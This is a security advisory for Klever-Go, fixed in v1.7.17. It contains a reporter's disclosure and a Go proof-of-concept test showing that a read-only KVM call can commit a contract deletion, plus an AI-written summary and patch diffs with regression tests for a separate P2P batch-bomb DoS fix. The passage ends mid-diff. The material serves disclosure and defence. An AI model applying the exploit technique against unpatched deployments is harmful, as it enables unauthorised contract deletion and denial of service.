Klever-Go KVM read-only execution can commit contract delete and upgrade side effects
Description
Publisher note
**Fixed in v1.7.17.** Operators running < v1.7.17 should upgrade. Contract delete and upgrade host-core paths now reject execution when runtime.ReadOnly() is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).
This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under GHSA-74m6-4hjp-7226 so each issue receives its own CVE.
The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.
---
# Private Vulnerability Report
Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211
2.2 KVM read-only execution can commit contract delete side effects
Severity : Medium Confidence : HIGH Attack Complexity : MEDIUM PoC Status : Confirmed
Description
KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. The hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when runtime.ReadOnly() is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, the output context merges DeletedAccounts into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.
The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.
Location
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099
- execution.go, doExecContractDelete(), line 237
- execution.go, doExecContractDelete(), line 246
- execution.go, executeUpgrade(), line 792
- execution.go, executeUpgrade(), line 831
- execution.go, executeDelete(), line 839
- execution.go, executeDelete(), line 849
- output.go, PopMergeActiveState(), line 103
- output.go, mergeVMOutputs(), line 615
- process.go, processVMOutput(), line 755
- process.go, processVMOutput(), line 765
Preconditions
- A contract workflow invokes a callee through KVM read-only execution.
- The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.
- The target contract is upgradeable/deletable according to its KVM code metadata.
- No node operator privilege, validator role, oracle condition, or block-level timing condition is required.
Impact
Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that DeletedAccounts changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.
Exploit
Cost
The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.
Steps to
Reproduce
- Place
poc_kvm_readonly_delete_side_effect_test.goin an empty directory. - Run the dependency commands listed in the PoC header.
- Run
GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go. - Observe that the parent contract invokes a child contract through
ExecuteReadOnlyWithTypedArguments. - Observe that the child contract uses the production managed delete hook against a target contract it owns.
- Observe that the final VM output contains the target address in
DeletedAccountsdespite the delete action being triggered through read-only execution.
Proof-of-Concept
Result
Running GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.
# command-line-arguments.test
/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack
/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
=== RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect
poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0
poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1
poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true
--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)
PASS
ok command-line-arguments 0.007s
Suggested
Fix
Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Proof-of-Concept
Source
poc_kvm_readonly_delete_side_effect_test.go
package poc
/*
Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability : Read-only execution isolation bypass with contract delete side effect
Severity : Medium
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy
*/
import (
"testing"
contextmock "github.com/klever-io/klever-go/kvm/mock/context"
worldmock "github.com/klever-io/klever-go/kvm/mock/world"
test "github.com/klever-io/klever-go/kvm/testcommon"
"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
"github.com/klever-io/klever-go/vmcommon"
"github.com/stretchr/testify/require"
)
func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")
// Record the initial delete side-effect state before any read-only execution occurs.
deletedBefore := make([][]byte, 0)
require.NotContains(t, deletedBefore, targetAddress)
vmOutput, err := test.BuildMockInstanceCallTest(t).
WithContracts(
// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
test.CreateMockContract(test.ParentAddress).
WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
host := parentInstance.Host
// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
result := vmhooks.ExecuteReadOnlyWithTypedArguments(
host,
100000,
[]byte("deleteTarget"),
test.ChildAddress,
nil,
)
require.Equal(t, int32(0), result)
return parentInstance
})
}),
// The child contract is called in read-only mode but attempts to delete a contract it owns.
test.CreateMockContract(test.ChildAddress).
WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
host := childInstance.Host
managedTypes := host.ManagedTypes()
// Encode the target address and call the production ManagedDeleteContract hook.
destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
argsHandle := managedTypes.NewManagedBuffer()
managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)
vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)
return childInstance
})
}),
// The target contract is upgradeable/deletable and owned by the read-only child.
test.CreateMockContract(targetAddress).
WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
WithOwnerAddress(test.ChildAddress).
WithMethods(),
).
// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
WithInput(test.CreateTestContractCallInputBuilder().
WithRecipientAddr(test.ParentAddress).
WithGasProvided(500000).
WithFunction("callReadOnlyChild").
Build()).
AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})
require.NoError(t, err)
// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
deletedAfter := vmOutput.DeletedAccounts
require.Greater(t, len(deletedAfter), len(deletedBefore))
require.Contains(t, deletedAfter, targetAddress)
t.Logf("deleted_accounts_before=%d", len(deletedBefore))
t.Logf("deleted_accounts_after=%d", len(deletedAfter))
t.Logf("target_deleted=%t", true)
}
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
KVM read-only execution can commit contract delete side effects due to missing enforcement in delete/upgrade paths, allowing state mutation from read-only calls.
The Klever-Go KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. This hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous state. However, the contract delete and upgrade host-core paths do not check runtime.ReadOnly() before proceeding, so a contract called via read-only execution can still invoke the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, which is later processed by the smart contract processor to delete accounts [1].
An attacker who controls a contract that is invoked through a read-only call can exploit this by having that contract call the delete hook on another contract they own. The attack requires the attacker to have deployed a contract that, when executed via ExecuteReadOnlyWithTypedArguments, triggers the delete path. This bypasses the intended isolation of read-only queries, which should not be able to commit state changes [2].
The impact is that a read-only call can result in permanent state changes, such as contract deletion, violating the expected invariants of the Klever blockchain. This could lead to denial of service or unexpected contract lifecycle disruptions. The vulnerability is rated Medium severity with a high confidence of exploitability [1].
The vulnerability is fixed in version v1.7.17. Operators running earlier versions should upgrade immediately. The fix ensures that contract delete and upgrade paths reject execution when runtime.ReadOnly() is true. Patch commits are available in the repository (333f6ec9 and 68b94a40) [1].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
2333f6ec91090Merge commit from fork
13 files changed · +952 −43
common/errors.go+6 −0 modified@@ -778,6 +778,12 @@ var ErrNotCompressed = errors.New("not compressed") // ErrAlreadyCompressed ... var ErrAlreadyCompressed = errors.New("already compressed") +// ErrDecompressionTooLarge signals that a compressed payload inflated past the allowed limit +var ErrDecompressionTooLarge = errors.New("decompressed payload exceeds maximum allowed size") + +// ErrDecompressedSizeMismatch signals that the inflated payload size does not match the advertised DataSize +var ErrDecompressedSizeMismatch = errors.New("decompressed payload size does not match advertised data size") + // ErrInvalidParameter signals that a wrong parameter has been provided var ErrInvalidParameter = errors.New("invalid parameter")
core/process/errors.go+4 −0 modified@@ -56,6 +56,10 @@ var ErrEmptyPeerID = errors.New("empty peer ID") // ErrNoDataInMessage signals that no data was found after parsing received p2p message var ErrNoDataInMessage = errors.New("no data found in received message") +// ErrTooManyItemsInBatch signals that a received Batch carries more items than allowed, +// guarding against pre-allocation amplification (CWE-789 / CWE-770). +var ErrTooManyItemsInBatch = errors.New("too many items in batch") + // ErrInterceptedDataNotForCurrentShard signals that intercepted data is not for current shard var ErrInterceptedDataNotForCurrentShard = errors.New("intercepted data not for current shard")
core/process/interceptors/baseDataInterceptor.go+46 −7 modified@@ -18,7 +18,14 @@ type baseDataInterceptor struct { currentPeerID core.PeerID processor process.InterceptorProcessor mutDebugHandler sync.RWMutex - debugHandler process.InterceptedDebugger + // debugHandler is rotatable at runtime via SetInterceptedDebugHandler. + // Implementers of process.InterceptedDebugger MUST remain safe to call + // after being swapped out: a worker goroutine spawned by + // ProcessReceivedMessage may have snapshotted the previous pointer under + // mutDebugHandler.RLock() and then released the lock before invoking + // LogProcessedHashes / LogReceivedHashes. The contract is "callable until + // GC", not "callable only while installed". + debugHandler process.InterceptedDebugger } func (bdi *baseDataInterceptor) preProcessMessage(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error { @@ -29,6 +36,12 @@ func (bdi *baseDataInterceptor) preProcessMessage(message p2p.MessageP2P, fromCo return common.ErrNilDataToProcess } + // Per-peer rate limits don't make sense for messages we delivered to ourselves, + // so the antiflood layer is skipped when the sentinel matches. The local throttler, + // however, is the node's protection against running out of goroutines / memory and + // MUST run unconditionally — otherwise a remote peer that manages to spoof + // (or a future code path that bypasses) the libp2p signature check could blow past + // the local capacity ceiling. See GHSA-74m6-4hjp-7226 / KLC-2356. if !bdi.isMessageFromSelfToSelf(fromConnectedPeer, message) { err := bdi.antifloodHandler.CanProcessMessage(message, fromConnectedPeer) if err != nil { @@ -38,16 +51,27 @@ func (bdi *baseDataInterceptor) preProcessMessage(message p2p.MessageP2P, fromCo if err != nil { return err } + } - if !bdi.throttler.CanProcess() { - return common.ErrSystemBusy - } + if !bdi.throttler.CanProcess() { + return common.ErrSystemBusy } bdi.throttler.StartProcessing() return nil } +// isMessageFromSelfToSelf returns true when the inbound message looks like one this +// node broadcast to itself. The byte-equality check is a sentinel, not a cryptographic +// verification — it relies on libp2p's pubsub signature policy +// (pubsub.WithMessageSignaturePolicy default StrictSign, set in +// network/p2p/libp2p/netMessenger.go via withMessageSigning=true) to ensure that any +// message reaching this point has already had Signature() cryptographically verified +// against From() and the sender's peer ID. If withMessageSigning is ever flipped off, +// or a non-pubsub path delivers messages here, this sentinel becomes a spoofable +// authentication-bypass vector — only the unconditional throttler.CanProcess() call +// in preProcessMessage prevents it from being a full anti-flood bypass. See +// GHSA-74m6-4hjp-7226 / KLC-2356 (CWE-290 / CWE-693). func (bdi *baseDataInterceptor) isMessageFromSelfToSelf(fromConnectedPeer core.PeerID, message p2p.MessageP2P) bool { return bytes.Equal(message.Signature(), message.From()) && bytes.Equal(message.From(), bdi.currentPeerID.Bytes()) && @@ -92,17 +116,32 @@ func (bdi *baseDataInterceptor) processInterceptedData(data process.InterceptedD "seq no", p2p.MessageOriginatorSeq(msg), "data", data.String(), ) - bdi.processDebugInterceptedData(data, err) + // Pass nil explicitly: the success branch is reached only after Save + // returned no error, and reusing the loop-variable err here previously + // risked passing a stale non-nil if the surrounding code is ever + // refactored (CWE-252). + bdi.processDebugInterceptedData(data, nil) } func (bdi *baseDataInterceptor) processDebugInterceptedData(interceptedData process.InterceptedData, err error) { identifiers := interceptedData.Identifiers() - bdi.debugHandler.LogProcessedHashes(bdi.topic, identifiers, err) + // Read the debugHandler under the same lock that SetInterceptedDebugHandler + // uses to write it. Without this guard, the worker goroutine spawned by + // ProcessReceivedMessage would race with concurrent runtime swaps of the + // debug handler (CWE-362). + bdi.mutDebugHandler.RLock() + debugHandler := bdi.debugHandler + bdi.mutDebugHandler.RUnlock() + debugHandler.LogProcessedHashes(bdi.topic, identifiers, err) } func (bdi *baseDataInterceptor) receivedDebugInterceptedData(interceptedData process.InterceptedData) { identifiers := interceptedData.Identifiers() - bdi.debugHandler.LogReceivedHashes(bdi.topic, identifiers) + // Same locking discipline as processDebugInterceptedData (CWE-362). + bdi.mutDebugHandler.RLock() + debugHandler := bdi.debugHandler + bdi.mutDebugHandler.RUnlock() + debugHandler.LogReceivedHashes(bdi.topic, identifiers) } // SetInterceptedDebugHandler will set a new intercepted debug handler
core/process/interceptors/baseDataInterceptor_test.go+40 −4 modified@@ -135,6 +135,8 @@ func TestPreProcessMessage_CanProcessReturnsNilAndCallsStartProcessing(t *testin assert.Equal(t, int32(1), throttler.StartProcessingCount()) } +// Self-to-self bypasses the per-peer antiflood handler (rate-limiting yourself is +// meaningless) but MUST still go through the local throttler. See KLC-2356. func TestPreProcessMessage_CanProcessFromSelf(t *testing.T) { t.Parallel() @@ -147,17 +149,16 @@ func TestPreProcessMessage_CanProcessFromSelf(t *testing.T) { } throttler := &mock.InterceptorThrottlerStub{ CanProcessCalled: func() bool { - assert.Fail(t, "should have not called CanProcessCalled") - return false + return true }, } antifloodHandler := &mock.P2PAntifloodHandlerStub{ CanProcessMessageCalled: func(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error { - assert.Fail(t, "should have not called CanProcessMessageCalled") + assert.Fail(t, "antiflood CanProcessMessage must be skipped on self-to-self") return nil }, CanProcessMessagesOnTopicCalled: func(peer core.PeerID, topic string, numMessages uint32, totalSize uint64, sequence []byte) error { - assert.Fail(t, "should have not called CanProcessMessagesOnTopicCalled") + assert.Fail(t, "antiflood CanProcessMessagesOnTopic must be skipped on self-to-self") return nil }, } @@ -169,6 +170,41 @@ func TestPreProcessMessage_CanProcessFromSelf(t *testing.T) { assert.Equal(t, int32(1), throttler.StartProcessingCount()) } +// Regression: GHSA-74m6-4hjp-7226 / KLC-2356. +// A self-flagged message (whether genuinely self-broadcast or a spoofed envelope on +// some future non-pubsub code path) must still be rejected with ErrSystemBusy when +// the local throttler is full. Without this defense, a flood of self-flagged +// messages would blow past the goroutine ceiling because the sentinel skipped the +// CanProcess gate. +func TestPreProcessMessage_SelfPath_StillEnforcesThrottlerCapacity(t *testing.T) { + t.Parallel() + + currentPeerID := core.PeerID("current peer ID") + + msg := &mock.P2PMessageMock{ + DataField: []byte("data to process"), + FromField: currentPeerID.Bytes(), + SignatureField: currentPeerID.Bytes(), + } + throttler := &mock.InterceptorThrottlerStub{ + CanProcessCalled: func() bool { return false }, // throttler is full + } + antifloodHandler := &mock.P2PAntifloodHandlerStub{ + CanProcessMessageCalled: func(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error { + assert.Fail(t, "antiflood must be skipped on self-to-self even when throttler is full") + return nil + }, + } + bdi := newBaseDataInterceptorForPreProcess(throttler, antifloodHandler) + bdi.currentPeerID = currentPeerID + + err := bdi.preProcessMessage(msg, currentPeerID) + + assert.Equal(t, common.ErrSystemBusy, err) + assert.Equal(t, int32(0), throttler.StartProcessingCount(), + "StartProcessing must not be called when CanProcess returns false") +} + //------- processInterceptedData func TestProcessInterceptedData_NotValidShouldCallDoneAndNotCallProcessed(t *testing.T) {
core/process/interceptors/multiDataInterceptor.go+39 −0 modified@@ -10,6 +10,17 @@ import ( "github.com/klever-io/klever-go/tools/marshal" ) +// MaxItemsPerBatch is the hard upper bound on the number of items a single P2P Batch +// may carry. It guards ProcessReceivedMessage's pre-allocation +// (make([]process.InterceptedData, len(b.Data))) against attacker-controlled lengths +// that would otherwise force ~16 B per entry of allocation before any anti-flood check. +// See GHSA-74m6-4hjp-7226 / KLC-2353 (CWE-789 / CWE-770). +// +// Sized at 8192 — comfortably above the ~1700 minimum-sized txs that fit inside +// core.MaxBulkTransactionSize (256 KiB), and above any legitimate trie-node response +// bounded by core.MaxBufferSizeToSendTrieNodes (also 256 KiB). +const MaxItemsPerBatch = 8192 + // ArgMultiDataInterceptor is the argument for the multi-data interceptor type ArgMultiDataInterceptor struct { Topic string @@ -92,6 +103,13 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, } }() + // We deliberately do NOT add a wire-size pre-check before Unmarshal: + // ProcessReceivedMessage is only invoked from networkMessenger.pubsubCallback + // (network/p2p/libp2p/netMessenger.go), so the libp2p pubsub + // DefaultMaxMessageSize (1 MiB) is always upstream of us. A duplicate cap at + // our layer would be dead code today. If pubsub.WithMaxMessageSize is ever + // raised, reintroduce a MaxRawBatchSize check here. See GHSA-74m6-4hjp-7226 / + // KLC-2353. b := batch.Batch{} err = mdi.marshalizer.Unmarshal(&b, message.Data()) if err != nil { @@ -102,12 +120,33 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, return err } + + // Enforce the items-per-batch cap before any further work: an uncompressed Batch + // with millions of empty Data entries must not reach the make() below. + // See GHSA-74m6-4hjp-7226 / KLC-2353. + if len(b.Data) > MaxItemsPerBatch { + return process.ErrTooManyItemsInBatch + } + if b.IsCompressed { err = b.Decompress(mdi.marshalizer) if err != nil { + // A peer that ships a malformed compressed batch is producing + // data we can never act on; treat it the same as the unmarshal-error + // path and blacklist both the originator and the connected peer + // (CWE-755 / CWE-703). log.Error("MultiDataInterceptor.ProcessReceivedMessage", "err", err.Error()) + reason := "decompression failure on topic " + mdi.topic + ", error " + err.Error() + mdi.antifloodHandler.BlacklistPeer(message.Peer(), reason, core.InvalidMessageBlacklistDuration) + mdi.antifloodHandler.BlacklistPeer(fromConnectedPeer, reason, core.InvalidMessageBlacklistDuration) return err } + // Decompress replaces b.Data wholesale, so re-check the cap on the inflated + // payload to defend against compressed bombs that fit under the gzip cap + // but still encode many empty entries (each empty entry is ~1 wire byte). + if len(b.Data) > MaxItemsPerBatch { + return process.ErrTooManyItemsInBatch + } } multiDataBuff := b.Data
core/process/interceptors/multiDataInterceptor_test.go+247 −0 modified@@ -4,6 +4,7 @@ import ( "bytes" "errors" "fmt" + "sync" "sync/atomic" "testing" "time" @@ -667,3 +668,249 @@ func TestMultiDataInterceptor_ProcessReceivedMessage_RepeatedDecompressionErrors "regression GHSA-74m6-4hjp-7226 / KLC-2348: throttler exhausted on iteration %d: %v", i, processErr) } } + +//------- regression: GHSA-74m6-4hjp-7226 / KLC-2353 (Finding C3 / M4) + +// Regression: an uncompressed Batch carrying len(Data) > MaxItemsPerBatch must be +// rejected with ErrTooManyItemsInBatch *before* the make([]InterceptedData, ...) below. +// Without the cap, ~16 B per attacker-controlled entry is allocated before any +// per-item validation runs (CWE-789 / CWE-770). +func TestMultiDataInterceptor_ProcessReceivedMessage_RejectsItemCountBomb_Uncompressed(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + bomb := &batch.Batch{Data: make([][]byte, interceptors.MaxItemsPerBatch+1)} + payload, err := marshalizer.Marshal(bomb) + require.NoError(t, err) + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq-1"), + } + + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.ErrorIs(t, processErr, process.ErrTooManyItemsInBatch) +} + +// Regression: a *compressed* Batch whose inflated payload encodes more than +// MaxItemsPerBatch entries must also be rejected. The 10 MiB gzip-bomb cap +// (KLC-2352) is necessary but not sufficient — a 10 MiB inflated stream of mostly +// empty entries can still encode millions of items. +func TestMultiDataInterceptor_ProcessReceivedMessage_RejectsItemCountBomb_Compressed(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + bomb := &batch.Batch{ + Algo: batch.CType_GZip, + Data: make([][]byte, interceptors.MaxItemsPerBatch+1), + } + require.NoError(t, bomb.Compress(marshalizer)) + + payload, err := marshalizer.Marshal(bomb) + require.NoError(t, err) + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq-1"), + } + + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.ErrorIs(t, processErr, process.ErrTooManyItemsInBatch) +} + +// The uncompressed cap rejection must not leak a throttler slot — the same defense +// added in KLC-2348 must cover this new return path too. +func TestMultiDataInterceptor_ProcessReceivedMessage_ItemCountBomb_ReleasesThrottlerSlot(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + bomb := &batch.Batch{Data: make([][]byte, interceptors.MaxItemsPerBatch+1)} + payload, err := marshalizer.Marshal(bomb) + require.NoError(t, err) + + countingThrottler := &mock.InterceptorThrottlerStub{ + CanProcessCalled: func() bool { return true }, + } + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + arg.Throttler = countingThrottler + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq-1"), + } + + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.ErrorIs(t, processErr, process.ErrTooManyItemsInBatch) + assert.Equal(t, int32(1), countingThrottler.StartProcessingCount()) + assert.Equal(t, int32(1), countingThrottler.EndProcessingCount(), + "the items-per-batch rejection path must release the throttler slot") +} + +// Same KLC-2348 invariant on the post-Decompress return path: a compressed batch +// whose inflated Data exceeds MaxItemsPerBatch hits a different return statement +// (multiDataInterceptor.go after b.Decompress) and must still release the throttler +// slot. Pinning this with its own test prevents a future refactor of +// ProcessReceivedMessage from regressing the slot accounting on the compressed path. +func TestMultiDataInterceptor_ProcessReceivedMessage_CompressedItemCountBomb_ReleasesThrottlerSlot(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + bomb := &batch.Batch{ + Algo: batch.CType_GZip, + Data: make([][]byte, interceptors.MaxItemsPerBatch+1), + } + require.NoError(t, bomb.Compress(marshalizer)) + + payload, err := marshalizer.Marshal(bomb) + require.NoError(t, err) + + countingThrottler := &mock.InterceptorThrottlerStub{ + CanProcessCalled: func() bool { return true }, + } + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + arg.Throttler = countingThrottler + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq-1"), + } + + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.ErrorIs(t, processErr, process.ErrTooManyItemsInBatch) + assert.Equal(t, int32(1), countingThrottler.StartProcessingCount()) + assert.Equal(t, int32(1), countingThrottler.EndProcessingCount(), + "the post-Decompress items-per-batch rejection path must release the throttler slot") +} + +//------- regression: data race on bdi.debugHandler from worker goroutine (Finding 4.2) + +// MultiDataInterceptor.ProcessReceivedMessage spawns a worker goroutine that +// reads bdi.debugHandler via processInterceptedData → processDebugInterceptedData +// after the synchronous frame returns. Concurrent SetInterceptedDebugHandler +// calls must not race with that read. Run with `go test -race` to enforce. +// +// The validate/save/whitelist stubs all return nil/true so ProcessReceivedMessage +// reaches the success path that spawns the worker goroutine and ultimately +// dispatches LogProcessedHashes through bdi.debugHandler — that is precisely +// the read site the rotation goroutine races with. Changing any of those mocks +// to err-return would silently un-cover the race. +func TestMultiDataInterceptor_ProcessReceivedMessage_DebugHandlerRotation_NoRace(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + + interceptedData := &mock.InterceptedDataStub{ + CheckValidityCalled: func() error { return nil }, + IdentifiersCalled: func() [][]byte { return [][]byte{[]byte("id-0")} }, + } + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + arg.DataFactory = &mock.InterceptedDataFactoryStub{ + CreateCalled: func(_ []byte) (process.InterceptedData, error) { return interceptedData, nil }, + } + arg.Processor = &mock.InterceptorProcessorStub{ + ValidateCalled: func(_ process.InterceptedData) error { return nil }, + SaveCalled: func(_ process.InterceptedData) error { return nil }, + } + arg.WhiteListRequest = &mock.WhiteListHandlerStub{ + IsWhiteListedCalled: func(_ process.InterceptedData) bool { return true }, + } + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + payload, err := marshalizer.Marshal(&batch.Batch{Data: [][]byte{[]byte("x")}}) + require.NoError(t, err) + + // workersWG tracks the spawned async LogProcessedHashes calls so we can + // deterministically wait for every worker goroutine's debugHandler read + // to complete before exiting (replaces the previous timing-based sleep). + var workersWG sync.WaitGroup + + logProcessed := func(_ string, _ [][]byte, _ error) { + workersWG.Done() + } + dh1 := &mock.InterceptedDebugHandlerStub{ + LogProcessedHashesCalled: logProcessed, + LogReceivedHashesCalled: func(_ string, _ [][]byte) {}, + } + dh2 := &mock.InterceptedDebugHandlerStub{ + LogProcessedHashesCalled: logProcessed, + LogReceivedHashesCalled: func(_ string, _ [][]byte) {}, + } + + // One-time sanity check that the rotation API itself works before we + // drown its return value in the race loop. Without this, a regression + // that made SetInterceptedDebugHandler always-error would silently turn + // every iteration below into a no-op rotation and leave the race + // detector with nothing to observe (false negative). + require.NoError(t, mdi.SetInterceptedDebugHandler(dh1), + "SetInterceptedDebugHandler must accept a valid handler — sanity check") + + const iterations = 1000 + // One item per batch (Data: [][]byte{[]byte("x")}), so success ⇒ exactly + // one worker goroutine ⇒ exactly one LogProcessedHashes per iteration. + done := make(chan struct{}, 2) + + go func() { + for i := 0; i < iterations; i++ { + workersWG.Add(1) // optimistic Add; refunded below on err + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq"), + } + if procErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID); procErr != nil { + // No worker goroutine was spawned for this iteration, so the + // LogProcessedHashes Done() will never fire — refund the Add. + workersWG.Done() + } + } + done <- struct{}{} + }() + + go func() { + for i := 0; i < iterations; i++ { + if i%2 == 0 { + _ = mdi.SetInterceptedDebugHandler(dh1) + } else { + _ = mdi.SetInterceptedDebugHandler(dh2) + } + } + done <- struct{}{} + }() + + <-done + <-done + // Block until every spawned worker has executed its LogProcessedHashes + // callback (i.e. its debugHandler read has happened) so the race detector + // has had a chance to observe each read. + workersWG.Wait() +}
core/process/interceptors/processor/hdrInterceptorProcessor.go+64 −5 modified@@ -1,6 +1,7 @@ package processor import ( + "runtime/debug" "sync" logger "github.com/klever-io/klever-go-logger" @@ -68,7 +69,14 @@ func (hip *HdrInterceptorProcessor) Save(data process.InterceptedData, _ core.Pe return common.ErrWrongTypeAssertion } - go hip.notify(interceptedHdr.HeaderHandler(), interceptedHdr.Hash(), topic) + // Defer the InterceptedData accessor calls into the spawned goroutine so they + // execute INSIDE notify()'s recover boundary. If we evaluated them here as + // arguments to `go hip.notify(...)`, a panic in HeaderHandler() / Hash() + // would surface on the caller stack — Save has no recover frame and the + // process would crash (CWE-755). + go func() { + hip.notify(interceptedHdr, topic) + }() hip.headers.AddHeader(interceptedHdr.Hash(), interceptedHdr.HeaderHandler()) @@ -96,10 +104,61 @@ func (hip *HdrInterceptorProcessor) IsInterfaceNil() bool { return hip == nil } -func (hip *HdrInterceptorProcessor) notify(header data.HeaderHandler, hash []byte, topic string) { +func (hip *HdrInterceptorProcessor) notify(interceptedHdr process.HdrValidatorHandler, topic string) { + // Resolve identity inside the recover boundary so a panic in either + // accessor (HeaderHandler / Hash) is caught by the per-call recover + // below rather than crashing the process (CWE-755). + defer func() { + if r := recover(); r != nil { + log.Error("HdrInterceptorProcessor.notify panicked while resolving header", + "topic", topic, + "panic", r, + "stack", string(debug.Stack()), + ) + } + }() + header := interceptedHdr.HeaderHandler() + hash := interceptedHdr.Hash() + + // Snapshot the handlers under the read-lock and release the lock BEFORE + // invoking any user-supplied callback. Holding the read-lock across user + // callbacks risks reentrant deadlocks (a handler that calls + // 